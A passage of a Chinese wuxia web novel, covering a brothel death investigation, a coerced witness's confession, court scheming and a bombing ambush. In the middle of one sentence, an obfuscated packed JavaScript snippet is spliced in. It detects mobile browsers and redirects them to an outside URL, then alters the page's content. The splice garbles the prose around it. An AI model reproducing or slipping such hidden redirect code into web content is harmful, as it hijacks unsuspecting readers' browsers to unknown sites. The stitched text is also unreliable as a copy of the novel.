江潮生无可辩驳,的确,他本心也不想救叶玟杰,但这是叶景行的意思,他就这么看着自己……鬼使神差的,自己就去做了。 他愧对阿水,愧对张发财。 张发财冷笑了起来:“阿水,你看到没有?这世间只有我是真心对你,你不是答应我做张家面店的老板娘吗?阿水,阿水……” 他自从得到消息以来压抑的眼泪,一下全喷涌了出来,嚎啕大哭着推开江潮生,继续往前走:“狗屁的公道堂,怎么不给你一个公道?阿水,你不要回来了!你好好地去天上吧!” 江潮生站在原地,不发一言看着棺材走远,回头看见路边停着的马车帘子半掀,露出叶景行俊秀的侧脸。 他走过去,草草做了个揖:“多谢公子,允我来送故人最后一程。” 叶景行的目光却远远地追随着棺材,尤其是上面悠悠转动的小风车,沉吟了一会儿才撂下帘子:“既无牵挂,以后就好好办差。” “是。” 9. 第八章 心知肚明 出了人命案,并没有让万花楼变得萧条,到了夜间,照样是红灯高挂,艳帜高悬,姑娘们倚窗卖笑,向楼下的客人们挥舞着丝帛手绢,丢来一个个邀请的眼风。 而看门的龟奴今天忙得不可开交,只是一个劲迎来送往,点头哈腰,没注意到两个略显紧张的客人以折扇当头,遮遮掩掩地走了进去。 大厅里迎接的咨客慧眼如炬,扫了一眼穿戴就知道两人不是什么富家公子,再看面容青涩举止局促,料定是出来见世面的小家子,绝非金龟之像,随手拉了个姑娘过来:“伺候二位少爷。” 姑娘熟练地攀扯上喻枫的手臂,胸沉甸甸地压着,喻枫吓了一跳,想往后抽,又被江潮生死死按住。 “贵客,我叫小红,请随我来。”小红一边挽着喻枫,一边对江潮生抛着媚眼,同时张罗着问:“是喝酒,是听曲儿?还是过夜?” 喻枫更加紧张,使劲咳了一声:“点一壶酒,听两段曲儿就行。” “好嘞。”小红将二人引入房间,回身去吩咐龟奴,江潮生趁机对喻枫说,“你打探消息,我出去探探。” 喻枫倒吸一口凉气:“不应该是我出去查案,你打听消息吗?” “我和小红姑娘单独在房间里,不好吧?我怕我一个把持不住……”江潮生故作羞涩,喻枫却怒视他一眼,直接戳穿:“是不是想躲起来偷懒?!” “哪有!套口供这种事,自然是你专业。”江潮生说完提高声音,做神秘状询问:“小红姑娘,我听说,前几日万花楼的阿水姑娘……” 小红脸上娴熟的谄媚笑容都淡了些,回身坐下,懒懒地说:“阿水活着的时候也不见这么红,死了一大把人来问她的事儿,是啊,她死了,官府说是自杀。” 说着一撇嘴,讥笑着:“又不是刚进楼的黄花大闺女,为清白要死要活,在火坑里待了十年,都人老珠黄混日子了,突然自杀?啧啧。” “哦!看起来是有内幕啊!”江潮生饶有兴趣地往前凑了凑,“跟我们说说呗?我最爱听这些坊间奇闻。” 说着,手掌轻动,推过去一锭银子。 在小红眉飞色舞开始讲之后不久,江潮生说了句:“放水”,就大摇大摆地走出了房间。 他之前常给阿水送馄饨,对万花楼并不陌生,从恭所进去,出来的时候已经扯开衣衫,歪戴头巾,踉踉跄跄做醉汉状,走廊上人人躲避,他脚步虚浮,在一个拐角处故意犹豫了一下,扑进盆景花木的阴影当中。 再出现的时候,已经是隔壁的花楼,此处比前面幽静许多,人也变少了,丝竹轻宣,透着一股雅致的气韵。 江潮生更不停步,行走间娴熟地把外衣反穿,又将头巾腰带一些小物件随手藏在暗处,等到瞅准机会跨入第三进花楼的时候,他顺手一甩外衣,露出里面纯黑色短打,从袖中掏出黑巾蒙在脸上。 身形轻俏,抬手扒住雕花廊檐往上一卷,如灵猫一般攀上了屋顶,江潮生弯腰躬身,沿着屋顶一溜小跑,踩过的瓦片竟没发出一点声音。 正在他略有些得意的时候,周身突然一凛,江潮生警觉地抬头,呆住了。 夜空弯月如勾,银辉泻地,高高的屋顶上,黑衣人戴着黑金面具,负手而立,淡淡地看着他。 目光中满是嘲弄。 江潮生心下一沉,也不再遮掩自己的身形,缓缓地站了起来,右手暗暗握住袖中的判仙笔,沉声问:“你来做什么?” 叶景行没回答,江潮生却以为自己得到了答案,他满腔怒火夹杂着郁闷,一时间竟浑然忘记了自己与对方的武功差距,冷笑着点头:“我知道,你是来杀秀秀的!” 叶景行依旧没回答,江潮生却更加愤怒,尖锐地指责:“滥杀无辜犹不自知,为权贵扫尾擦屁股,这就是你自诩的公道堂传人吗?判仙笔在你手里是助纣为虐的吗?你有什么资格戴着这张面具?你辜负了唐大侠!” 一阵夜风吹过,尽管是炎夏天气,江潮生也觉得浑身冰冷,他闭了闭眼,深知今日不能善了,只能拼死一搏。 再睁开眼时,却见黑衣人对他招了招手,然后指向江边停泊的一艘不起眼的花船。 “什么意思?”江潮生狐疑:目前看来,这个公道堂不像要杀他啊? 黑衣人却径直走向檐边,飞身而下,敏捷飘逸如夜枭临空,转眼就没入了黑暗当中。 江潮生咬咬牙,跟了上去。 秀秀作为人命案的在场一员,其实府衙来了三次要提去问话,都被老鸨哭哭啼啼地拦住了,说她一直昏迷,实在无法起动,有好几家医馆的大夫都能作证。 “我的心肝儿肉哎!我的摇钱树哎!”说到伤心处,老鸨哭得梨花带雨,好不伤心,来带人的捕快只能无功而返。 而此刻,‘一直昏迷’的秀秀好端端地坐在花船上的舱室里,烛光摇曳,映着她惨白的脸。 “都记住了吧?”老鸨拉着她的手,很亲切地说,“你就安心等消息,把两份口供都背熟,明日上公堂,看妈妈我的手势,千万别弄混了。” “是。”秀秀低眉顺眼,恭顺地答应,“我听妈妈的。” “秀秀啊。”老鸨觑着她的神色,语重心长地说,“你可千万别错了念头,你这条命是拿阿水的命换的,来之不易,阿水那死丫头没福气,她的前程以后就是你的,只要你乖乖听主人的话……她要你说是他杀呢,你就说是他杀,要你说是自杀呢,你就说是自杀,一丝儿都错不得,若是错了,逃到天涯海角也没人能保得住你。” 她的手过于用力,秀秀疼得皱起了眉头,老鸨急忙松开,心疼地吹吹:“乖孩子,只要明日的差事办好了,你依旧是花魁,好日子在后头呢。” 突然,她眉头一皱,诧异地看向窗口:“什么声音?” 江潮生从她背后鬼魅似地出现,一掌把她劈昏了过去,秀秀惊慌地瞪大双眼,刚要开口喊叫,江潮生手疾眼快,判仙笔从袖中飞出,直抵在秀秀的咽喉上:“闭嘴!” 秀秀细嫩的皮肤被笔尖划出一道红痕,她抬起眼,楚楚可怜地看向突然出现在面前的黑衣人,两行清泪从眼中流出,划过如花娇颜,凝聚在白嫩的下巴颏上,摇摇欲坠。 她颤抖着呼了口气,泪水如花瓣露珠,终究还是滴了下去。 那脆弱的模样,老虎来了都得动心。 可惜江潮生不是老虎,他冷声问:“说,刚才老鸨的话什么意思?什么两套口供?什么自杀他杀?到底那天发生了什么?” 秀秀的泪水落得又多又急,无声呜咽得喘不上气来,此时舱内又出现了一个黑衣人,冷冷地说:“我劝你手稳点儿,她要是死了,万花楼就更赖上叶玟杰了。” “可是阿水已经死了。”江潮生咬着牙,一字一句地说,“张发财给她收的尸。” 秀秀身子一颤,竟有些不敢看江潮生充满怒火的眼睛。 “这混小子,攒了那么久的钱,要开面店,要让阿水当老板娘,结果全花在棺材上,说要让阿水睡得舒服一些,到了坟地,他非要打开棺材跳进去,好几个人才拉出来……”江潮生眼眶发热,他用力眨了两下,恨恨地说:“你以为他们会放过你吗?你照着他们的话做了,也是个死!” 叶景行在舱内踱步,冷不丁地发问:“那日你早就知道叶玟杰要去你房里?” 秀秀抽泣着点了点头。 “万花楼拿你的命给叶玟杰设了个死局,没想到死的是阿水。”叶景行淡漠地点点头,“也对,死的是谁,万花楼并不在乎,只要有人死了就行。” 江潮生听不懂,但他清楚地看到秀秀的泪水流得更凶了。 他收回判仙笔,低头看着秀秀,低声说:“说出来吧,你还记得吗,你叫她一声阿姐,你们俩在夜里分吃一碗面,可她现在躺在棺材里……你还活着,唯有你知道当时发生了什么。” 叶景行走到他身后,和他并肩而立,补了一句:“说了,我送你离开。” 不知道被哪一句话打动,秀秀终于下定了决心,抬手抹去眼泪,尽量平静地说:“那天我在房里歇息,妈妈派人送了酒来,说等一下殿下要来告别……” 她突然打住,苦笑了一下,抬头看着两个黑衣人,在江潮生脸上多停留了一会儿,决绝地说:“我不想再骗人,这些也是假的!我说实话吧!前一天就有人找到我,告诉会给我一壶毒酒,让我看窗外信号行事,若垂下三条丝帛,我就要把毒酒喝下去。” 泪水再度爬满了秀秀的脸颊:“我不想死,我才十五岁!但是我不同意也没用,他们会捏着我的嘴灌进去!” “不会的。”叶景行心平气和地说,“那样痕迹会被仵作看出来。他们要的就是你自愿。” 江潮生难以置信地问:“所以你求了阿水,让她替你去死?” “不是的,我没有!”秀秀哭着说,“阿水姐姐一直不赎身,是因为上面看中了她的才能和心思,要她入百花深处主持分管,以后能成为主人也未可知,而她进入百花深处的考验,就是来给我送毒酒。主人要她永远记住这一刻,我是她最疼爱的妹妹,也是她亲手送走的。” 眼泪大颗大颗地掉落,秀秀哽咽着摇头:“我本来都认了命,想着死就死了吧,也没什么,结果开门看到是阿姐,我突然就发了火,世道不公!凭什么死的是我啊?我哭,我闹,我骂她,阿姐不说话,只是看着我……看着我……” 她哭得说不下去,突然狠狠给了自己一巴掌,嘶声说:“这时候叶玟杰进来了,窗口也垂下三条丝帛,我知道我的死期到了……阿姐突然把叶玟杰推倒在地,拿起了桌面上的小刀,说‘始终是要死一个的,为什么不能是我呢?’,然后阿姐就一刀捅进了自己的胸口,忍着痛狠狠向下一拉……” 江潮生别过头去,不让自己的眼泪掉下来。 秀秀稍微平静了一点,拿过叶景行提供的纸笔开始写供词,末了在下面签字画押。 叶景行拿在手里看了看,又递给江潮生,嘲讽地说:“你也做个见证,不然日后别又说是公道堂为虎作伥,甘当朝廷走狗,为给皇子脱罪,做的假口供。” 江潮生隔着面巾摸了摸鼻子,干笑着说:“不敢,不敢。” 叶景行收起供词,对秀秀点点头:“收拾一下,我马上带你离开。” “不,不用麻烦大侠。”秀秀向后缩了一下,小声说,“阿姐从前跟我说过,若是有一天我走投无路了,可以去街角小酒坊去找哑婆婆,她欠了阿姐一个人情,会妥善安置我。” 叶景行颔首:“你自有去处,没第三个人知晓,是最好的了。” 街角确实有一家小酒坊,门头狭窄,但酒香浓郁,走进三丈之内就能闻到,隔着墙都能看到院内的酒坛堆得极高,想必生意不错。 但这样的酒坊,真的只有哑婆婆一个人,敲了半天门才来开,老态龙钟,眯着眼睛吃力地往外看。 “哑婆婆,阿水姐姐说,若我走投无路,可以来求你。”秀秀期期艾艾地上前说话。 老婆婆的眼神却停留在她身后的两人身上,也是,谁家大半夜一开门看到两个脸都蒙起来的黑衣人,都要惊诧一下的。 “哑婆婆?”秀秀有些不安,求助地问,“您认识阿水姐姐吗?” 老婆婆把目光收回来,对她点了点头,指了指院内,秀秀如蒙大赦,回身匆匆向两人福了一礼,飞快地溜了进去。 接着,院门就在两人面前毫不留情地关上了。 江潮生仰头,突然问叶景行:“你闻到没有,好香啊?” 叶景行冷冷地看他一眼,嫌弃地说:“我还以为你心存愧疚,怎么还有闲心赏起酒香来?” “不是,我为什么要愧疚啊?”江潮生莫名其妙。 叶景行伸出手指点着远处的万花楼,讥讽地说:“白日里你们不是纷纷觉得朝廷昏庸,官府无能,捕头们沆瀣一气把□□不允的凶杀案做成自杀案以讨好皇子,现在呢?逼死一条人命只为做棋盘上的一步博弈之局。” 江潮生无话可说,只有沉默。 “看见了吧,这就是你们所谓的江湖,所谓的快意恩仇,狭义之道,原来就是用无辜少女的性命去构陷他人,暗中行事无法无天,到底是谁在草菅人命!?”叶景行语气森冷地说,“比起来,官府治下至少还有律法在!” “所以才需要有公道堂啊!”江潮生低声说,“白天有白天的法律,夜晚有夜晚的规则,官府无能为力的地方,仍有一股力量能鉴裁制衡,仍有人能维持公道正义,这不就是公道堂存在的意义吗?” 叶景行冷笑一声:“红尘俗世人心莫测,是千年万年不变的道理,天地洪流岂是一个小小的公道堂能抗衡的?不过是螳臂当车,徒劳无益。” “等一下!咱俩到底谁才是公道堂啊?!”江潮生惊诧万分地问。 叶景行凝望着他,轻声说:“当然是我。” 他顿了一下,又用低得近似耳语的声音说:“其实,我恨公道堂这三个字。” 就在江潮生以为他要掏出判仙笔跟自己决出胜负的时候,叶景行却一纵身,无声无息地窜上房顶,消失在黑夜中。 江潮生摸摸鼻子,兴味索然地转身离开,走着走着,总觉得自己忘记了什么,突然一拍脑袋:“糟糕!” 他把喻枫忘在万花楼了! 当喻枫第一百次推开小红痴缠过来不安分的小手时,她实在忍不住了,掩饰地说:“好闷热!开窗透透气罢!” 几步走过去推开窗,江风带着水气吹来,喻枫却不觉清凉,只觉焦躁,暗骂江潮生这条小泥鳅死哪儿去了,出去就不见回来! 她四下张望,无意中看到对面那栋楼的走廊上有个姑娘款款走过,浓妆艳抹,眉心还点了梅花钿,走得一步三摇风情万种,和其他万花楼姑娘别无二致,但不知为何,喻枫就觉得她与众不同。 甚至还有些眼熟。 “你过来看看那个姑娘是谁。”喻枫招手叫过小红,小红变了脸,尖酸地说:“我人还在这儿呢,怎么就看别人去了?我倒要看看是哪个小蹄子敢抢我的生意。” 此时那姑娘正微笑回眸,眼神和喻枫一错而过,喻枫飞速在记忆里搜索着,突然灵光一现,她想起来了!这好像是江潮生四月里当街英雄救美的姑娘! 与此同时,小红纳闷地说:“不是我们楼里的啊,奇怪,哪有女人跑来逛青楼的。” “你确定吗?” 小红酸溜溜地说:“她一看就是个雏儿,我们万花楼里哪还有雏儿啊。” 两人正说着,突然对面楼里响起了呛咳声,越来越多的人互相搀扶着从房间里踉跄而出,有的甚至憋紫了脸,冲到走廊上扶着栏杆拼命喘气,龟奴以为又出了人命案,纷纷赶来,一踏入这层也都中了招,纷纷掐着嗓子弯下腰又吐又咳。 喻枫紧盯着先头的姑娘,只见她走得很慢,一路招摇妩媚地挥舞着披帛,乍看和姑娘们揽客的手势并无不同,但她集中精神看去,那姑娘的披帛之下竟有一团团粉红香雾无声无息地弥漫开来! 忽然身边的小红也捂住了嘴,用力咳嗽起来。 喻枫当即厉喝一声:“下毒的贼子休走!”,马上屏住呼吸,跃出窗台,右手从靴筒里拔出短刀,向着走廊上直冲而去。 香堇一看被人发现,也不惊慌,还回头笑了一下,一扭身,踩着栏杆借力向远处掠去,顷刻不见踪影,只余她的披帛缓缓落下。 香堇几次纵跃,借机甩掉身上累赘的衣饰,再回头,发现喻枫还跟在后面,她暗骂一声,眼看已经离开万花楼到了僻静地带,杀心顿起,也不再逃逸,脚尖轻轻落地,站在一排屋顶之上,冷笑着威胁:“再追,就杀了你!” 喻枫丝毫不惧,右手一抹,雪亮刀光闪过眉眼,扬声说:“江州府捕头喻枫在此!小贼还不束手就擒!” 香堇一怔,借暗淡月光再看才认出来,顿觉头疼,开始后悔自己停下来的举动,当机立断一纵身就跑。 谁知喻枫说话之间已经到了,短刀带着风声袭来,香堇不欲多纠缠,左手叩动机关,顿时一蓬银丝从她腰带上迸发,尽数对着扑来的喻枫射去。 喻枫也算敏捷,回刀阻拦,但她用单刀惯了,今日的短刀就有些不趁手,尤其抵挡暗器,错估了尺寸,眼看一撮漏网之鱼越过她的刀光,直冲下腹而去!再想躲已经来不及! 夜空中流星乍现,黑金笔飞旋而来,无数金芒闪耀,将暗器全部打飞,余波不息,对着香堇卷去。 香堇瞪大双眼,不敢置信地看着面前出现的黑衣蒙面人,又看向他手中的判仙笔,还有这熟悉的招式…… 公子怎么会在这里? 仓皇之下,她觉得一定是自己坏了叶景行的大事,二话不说,转身就溜。 江潮生一把扶住喻枫,焦急地问:“你没事吧?” “我……我没事。”喻枫的心砰砰乱跳,有一些是因为刚才的死里逃生,还有一些,是大侠挺身相救的英姿。 她收敛心神,赶紧站直身子,拱手行礼:“多谢大侠搭救,您怎么会在这里?” “呃……”江潮生的手尴尬地伸在空中,“我……那个……” 喻枫的眼神落在他的夜行衣上,不免带上了几分怀疑:“大侠,我知道世间多不平,但朝廷自有法度在,有些事情还是不要擅自决定的好。” 毕竟她还是府衙的捕头,不能对以武犯禁的事视而不见。 “没有没有!”江潮生赶紧摆手,“我只是出来拯救了一位少女。” 喻枫的眼神更疑惑了,大半夜的,这话怎么听得那么……油滑呢? 江潮生也觉得自己必须维持大侠的形象,咳了一声,用力挺直身板,好整以暇地一摆手:“关于万花楼的人命案,你放心吧,我已经拿到了关键人物的口供,你先回去,不日即将水落石出。” 感受着喻枫投来的钦佩眼神,江潮生美滋滋地想,果然蒙面巾一戴,待遇都不同啊。 “多谢义士!”喻枫略一踌躇,回头看看远处跟炸了窝一样,人群拥挤出大门,都往街上跑的万花楼,还是说:“在下有一同伴仍在万花楼,我要回去找他。” “嗨,不用,他自己长腿会出来的。”江潮生大惊。 喻枫皱眉摇头:“我那同伴毫无自保之力,又爱管闲事,实在不能让人放心。还是去寻一寻。” “哎……”江潮生说不上什么滋味,只能一拍胸脯,“你先走,我去找!” 香堇惊魂未定地回到行宫,一落在院子里,就看见正屋灯火通明,她纳罕地问陶陶:“公子今晚出去过吗?” 陶陶奇怪地看着她:“香堇姐姐你竟敢私窥公子行踪?” “不是……我刚才……”香堇说不明白,干脆接过她手里的茶盅,“我亲自去问。” 她掀帘子进了屋,叶景行正在临案书写,头都没抬地问:“办妥了?” “是,此刻万花楼一片混乱,可做小惩大诫。” 香堇看叶景行没有提起刚才遇见的事,犹豫了一下,还是壮着胆子问:“公子,恕婢子僭越,敢问公子今晚有无去过万花楼?” 叶景行抬起眸子,目光清冷,压得香堇差点跪了下去,心里一万个后悔,自己是怎么了,居然敢怀疑?刚才遇见的黑衣人肯定是公子啊!难道这世界上还有两支判仙笔吗? “去过。”叶景行坦然承认,指了指案上压着的一张纸,“不然也拿不到能给叶玟杰证明清白的口供。” 香堇一口气松下来,险些喜极而泣,脚步轻快地端茶过去:“那就是了,奴婢还以为自己看错了呢,那……奴婢方才在公子面前逃走,没有后患罢?” 叶景行的笔顿住了,微微侧头看向她,目光中含义不明。 香堇觉得自己又该跪下去了。 正在这时,帘子一掀,高远冲了进来,叶景行脸一沉,怒喝:“叫你禁足思过,你是越发不服了?” 高远喘着气,低声说:“公子,口供不能交上去。” “放肆!”叶景行勃然变色,“事关皇子清白,什么时候轮到你做主了?” 高远二话不说跪倒,颤抖着声音说:“这是王爷的意思。” “你别拿义父来压我,我才拿到口供,义父怎么知道?”叶景行冷冷地说,右手一抬,湖笔带着墨汁丢下书案,判仙笔振袖而出,带着一股杀机落在他手上。 高远被杀意压得身子都趴了下去,拼尽全力迸出一句:“王爷已经驾临江州城!” 城南有山,俯瞰江洲城,峰顶少有人至,茂密野草之中掩着一座孤坟,叶景行到达的时候,峰顶上只有叶晟一人,他穿着一件朴素灰衣长衫,周身上下毫无装饰,却越发显得面如冠玉眉目清俊,站在那里不像个在朝堂上杀伐果断的郡王,倒像个世外修行的清雅居士。 叶景行不敢怠慢,立刻跪下:“义父。” 叶晟没回头,只是伸出一只手摆了摆:“先去见过你爹。” “是”,叶景行转向孤坟,认认真真地磕了三个头。 “景行,最近身子还好?”叶晟回身看着叶景行,温和地问,“补药我已经交给香堇,你要记得吃。” 叶景行依然跪着,目光落在小小的坟头上,轻声说:“义父,有些事我看不太清。” 叶晟叹口气,走过来亲手扶起他:“你还年轻,乍入江湖,懵懂是应该的,无碍,有义父在。” 他的手扣上叶景行的手腕,摸着凸起的骨头微微动容:“怎么如此拼命……唉,有时候我也觉得当年我错了,非要让你承担起复兴公道堂的重任,其实若做个富家翁,安乐一生,对你是不是更好些?” “义父此言让我惶恐,当年是我求义父教我明月心诀修炼的,不然身为手无缚鸡之力之辈只能苟活一生,哪有机会替我爹伸冤。义父待我视如己出,我一直铭记在心。”叶景行垂下羽睫,突然问:“义父,我有一事不明,那份口供为何不让我交上去?您是否另有打算?” 虽然现在知府已经以自杀结案,但百姓群情激奋民怨沸腾,交了口供让真相大白天下,至少能揭穿万花楼的计谋,对于叶玟杰的声誉也能挽回一些,除非……是叶晟不想叶玟杰清白。 “咱们这位好圣上,是忘记当年和先皇后相拥而泣被四皇子一党压制得惕惕不安的日子了,自己靠着嫡出太子身份登基,如今竟然觉得贵妃所出的老四可堪大用,还都是老四,可真巧啊。” 说着,叶晟讽刺地一笑,“叶玟杰不被踩到谷底,怎么能乖乖听话呢。” 叶景行并不意外,只是突然间有些疲倦:“义父,江州赈灾,一而再,再而三,祸事频出,叶玟杰固然没亲手害人,但他识人不清,昏聩无能,绝非明君之像。” “为父知道,但此时需要这个蠢货站在我这边。” 叶晟深深地凝望着自己这个最得意的作品:“景行,圣上老了……眼看风云再起,朝堂中的事自有为父去筹谋,你只要在江湖上闯出公道堂的名声,威慑江湖帮派不敢妄动就好,能做到吗?” 叶景行感觉到叶晟的手握住自己手腕的温热,心里一暖,又有些羞愧,他低眉轻声说:“我……做得不好。” “胡说,你一向做什么都是最好的。”叶晟温声安慰,“我知道你是个好孩子,凭自己的心意去做罢,高远不听话,就让他滚回来,我再挑好的给你。” 叶景行眉心微微皱起,委婉地说:“高远是义父的人,也该回到义父身边去,我有香堇和陶陶就够了。” “也好,等江州事了,你回京城再说。”叶晟笑了笑,“本以为你来江州,只是初出茅庐试试手,没想到小小江州,水浅王八多。” 他加重语气强调:“你不要再动万花楼了,他们势力遍布全国,一半的人口买卖都与之相关,青楼妓女只是掩护,各大宅门帮派里的仆役随从老妈子等等……那才是他们起家的本钱,目前惊扰不得,免得两败俱伤。” 也许是山风太大,叶晟握在叶景行腕上的手指湿冷得有些让人不适:“日后有机会,徐徐图之。” 叶玟杰来的时候前呼后拥,走的时候偃旗息鼓。 他大约知道自己灾星已过,又神气活现起来,还特地来了偏院一趟,大着嗓门说:“叶景行,你的人情我记下了,咱们京里见,以后跟着我,有你的好处!” 说着还想上手拍叶景行以示亲热,被避开了。 叶玟杰很不高兴,香堇赶紧打圆场:“殿下,公子有疾,咳了半夜了,不敢过了病气。” “病了啊?”叶玟杰嫌弃地看着她,“我说你也太不注重身份,不管亲的干的,好歹你也姓叶呢,出来身边就跟这几个人,能伺候得好吗?怪不得成天三灾八难的。” 他扫视了一圈,看着擦地的江潮生,煎药的陶陶,抱着剑蹲在屋檐上吊着白眼发呆的高远,摇头啧啧:“这都什么货色,等回去我送你二三十个奴才使唤。” 说着,叶玟杰一甩大袖,转身离去,偏偏长寿提水进来,迎头撞上他出门,回避之时慌慌张张地被门褴绊倒,一跤摔下来,半桶水都泼到了叶玟杰的蟒袍上,叶玟杰怒气大发:“狗奴才!” 江潮生离得最近,敏锐地察觉到寒光一闪。 他只犹豫了那么一瞬,仅仅是一瞬,叶玟杰的骂声就变成了惨叫:“啊!救命!” 高远身形一晃,已经到了跟前,劈手一掌将长寿打飞出去,撞在柱子上,身子软绵绵地垂下来,口中鲜血狂喷。 叶玟杰肋间血迹醒目,一把匕首插进去半截,他疼得乱叫:“护驾!护驾!” “长寿!”江潮生不敢置信地奔过去,一把抱起瘫软的长寿,“你疯了!?” 他认知里的长寿一直是个黑瘦老实的半大小子,有吃有睡就满足得不得了,一心要勤快当差好能留下长久做个小厮,说起未来眯着眼睛幸福地笑。 怎么今天竟然敢刺杀皇子?这可是夷九族的大罪! “哥……我没办法……万花楼……养了我……”长寿双眼无神,咳着血,断断续续地说。 “你别说话,我去找大夫救你。” 话没说完,一道寒光闪过,长剑贴着江潮生的手臂狠狠刺入了长寿的胸口,他身体一弹,无力地蹬着腿,慢慢闭上了双眼。 江潮生惊怒交加地抬头望去,高远冷冷地把长剑拔了出来,扬声说:“红花会余孽刺杀皇子,被当场格杀。” 叶玟杰被香堇扶着,暴戾之气让眼睛都变得血红,歇斯底里地吼着:“杀!都杀了!剁碎了拖出去喂狗!” 隔着整座院子,江潮生和叶景行遥遥相望,他眼神震惊,而后者站在台阶之上,面无表情地看着发生的事,眼神毫无触动。 高远的手重重地落在江潮生肩上,咧嘴一笑露出雪白犬齿:“阿生,也听见了吧,他说是红花会派他来刺杀的。” 不是,不是的,是万花楼,不是红花会! 但江潮生此刻一个字都不能说,他只能僵硬地点点头。 高远满意地一笑,突然伸手抓住他衣领往后一拖,把他拽离了长寿的尸体,叶玟杰从后面冲上来,一手捂着伤口,一手抢过高远的长剑,骂骂咧咧地在长寿身上乱戳乱砍:“什么红花会白花会?!都是江湖匪类,逆贼!逆贼!等我禀告父皇,都杀了!杀光!” 叶玟杰被这突如其来的刺杀吓破了胆,不敢在行宫多停留,坚持要去卫所被千军万马保护才能安心。 但太平年间哪有兵马进城的道理,所以纪知府只能派出捕快衙役来行宫护送殿下到城门□□接。 江潮生趁机溜出来,四下张望,孰料后背被人狠狠一拍,喻枫口气不好地问:“小泥鳅!上次的事我还没找你算账呢!” “嘘!”江潮生回身使眼色,把她拽到一边小声说:“有一个不能透露姓名的义士,让我转告你一句话。” 喻枫心头一跳,握刀的手都紧了起来:“说!” “柳树胡同荒宅,晚上见。”江潮生眼看有人怀疑地看过来,急忙贴墙边溜走了。 叶景行和背后的势力一定会对红花会动手,江潮生心内焦急却也知道无法阻挡,但在此之前,他起码可以再做一件事。 入夜,江潮生打扮利落,在屋顶上一路飞驰,到了柳树胡同的荒宅,这里荒废已久,当年还做过丐帮的窝点,江潮生熟门熟路就跟回家一样。 他来得早,没事还拔了一圈野草,垫在屁股底下做了个窝。 喻枫还没来,隔壁院子的枯树上无名野鸟凄惨地啼了几声,江潮生低着头,正在拿野草编兔子玩,突然听到一个清冷的声音讥诮地问:“等谁?” 江潮生猛抬头,看见破败屋顶之上,熟悉的黑衣人当风而立,黑金面具闪着摄人的寒光,竟是叶景行! “你……”江潮生手心渗出冷汗,他紧紧地握住袖子里的判仙笔,脑子飞速地转着,猜测着叶景行出现在此地的原因。 他不应该去城外围剿红花会了吗!? “说话啊。”叶景行翩然落地,缓步走来,一股强大的威慑力当头压下,“等谁?” 江潮生心一横,就要跃起溜走:“没等谁,走了。” 叶景行一伸手,判仙笔在掌中熠熠生辉,真气灌注之下金芒闪烁,透出无边杀意:“想好了再回答!” 眼看无法脱身,江潮生豁出去了,索性厉声说:“之前我欠老杨一个人情,答应要保他妻儿平安。江湖规矩,祸不及家人!确实,红花会本也不是什么良善人,既吃得肉就该挨得打,我没法管,但妇孺无辜,我今天要带他们离开!” 一口气说完,他已经握笔做好了战斗准备,没想到叶景行淡淡地来了句:“那就走啊。” “啥?!” 叶景行已经跃上了屋顶,回头淡淡看他:“就凭你一人?” “哦哦!”江潮生赶紧跟上,两条人影同时掠起,他的轻功平时也算够用,此刻被行云流水的飘逸身形一衬,多少显得有些蠢笨了。 但这也算是并肩作战!?江潮生心里没来由兴奋起来。 “你人还怪好的嘞。”他小声说。 也不知道叶景行听没听到,反正没吭声。 此处离杨顺水的私宅不远,江潮生一边瞥着叶景行一边问:“你今晚是要去城外剿匪吧?去晚了不要紧吗?” “三更天开始,来得及。”叶景行顿了一下又说,“就算还了上次枫桥渡的账。” “其实我可以的,我也找了帮手。”江潮生底气不足地说。 叶景行斜他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598502|171954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :那个女捕头嘛,白天就看见他俩窃窃私语了。 远处一座小院,朴实无华,窗口烛光摇曳,有小儿啼哭传来,妇人趋前抱起摇晃着哄睡。 江潮生松了口气,正想着等会儿该怎么说,就看见叶景行一展衣袖,飞跃而下,竟是直接动手了! “喂!”江潮生压低声音阻止无果,只能四下观察望风。 叶景行是在跃入小院的一瞬间察觉到不对的,他自从修炼明月诀之后,肌肤敏感,对一丝风的流向都清晰无比,这座看似平常的小院竟有数人气息! 但此时箭在弦上不可不发,他再无迟疑,大袖一挥,木窗顷刻之间四分五裂,露出屋中一个抱着襁褓的青年妇人,她面色惊恐,浑身颤抖。 叶景行感到身后已有两道刀风暗中袭来,他径直冲入窗内,伸手去抓襁褓,此时婴儿啼哭更甚,妇人紧抱在身前,看着他的面具颤声问:“你是谁!?” “跟我走!”叶景行断喝,一把抓住襁褓,心中突然一惊。 这个手感……不对啊! 生死关头,一股玄之又玄的感觉充斥全身,完全是下意识的举动,判仙笔振袖而出,落在手中似有龙吟之声,叶景行不假思索催动明月诀,真气尽数灌注入笔,疯狂旋转之下,无数金沙化作寒芒布满狭小空间,护住全身,顶着后背袭来的刀光疾退。 下一刻,轰隆一声,爆鸣顿起! 江潮生不敢置信地抬头,看见刚才还宁静温馨的小院此刻火光冲天,烟雾弥漫,一股突如其来的疾风向四周冲击而去,无数残片碎瓦崩得到处都是,噼里啪啦地落了一地。 “不好!”他脸色顿变,不顾一切地冲了下去。 是江南霹雳堂的雷火弹!号称撼山碎石,无坚不摧,怎么会在这里!? 叶景行……叶景行怎么样了! 那刚才崩飞的碎片当中,还有人的残肢!血腥味合着火药味扑面而来,可以想象院中的惨状。 江潮生目眦欲裂,心都快爆开了,本来应该是他,他承诺的,责任是他的,进去的也该是他,不该是叶景行…… “咳咳!”火光中冲出一道黑影,熟悉的黑金面具,只是右手软绵绵地垂在身侧,身形歪斜不稳,被江潮生迎面一把抱住:“你还活着!?!” 叶景行的脸无力地俯在江潮生的肩膀上,两人身体相靠,江潮生惊恐地发现他身上黑衣濡湿,鼻中满盈血腥气。 “走……快走。”叶景行虚弱地说,江潮生二话不说,俯身把他扛在背上,使出毕生本事施展轻功,仓皇飞奔而去。 不久之后,小院火焰映照出一人身影,他站在已经倒塌的院门外,抬手在鼻子前面扇着风:“啧啧,还真炸到老鼠了。” 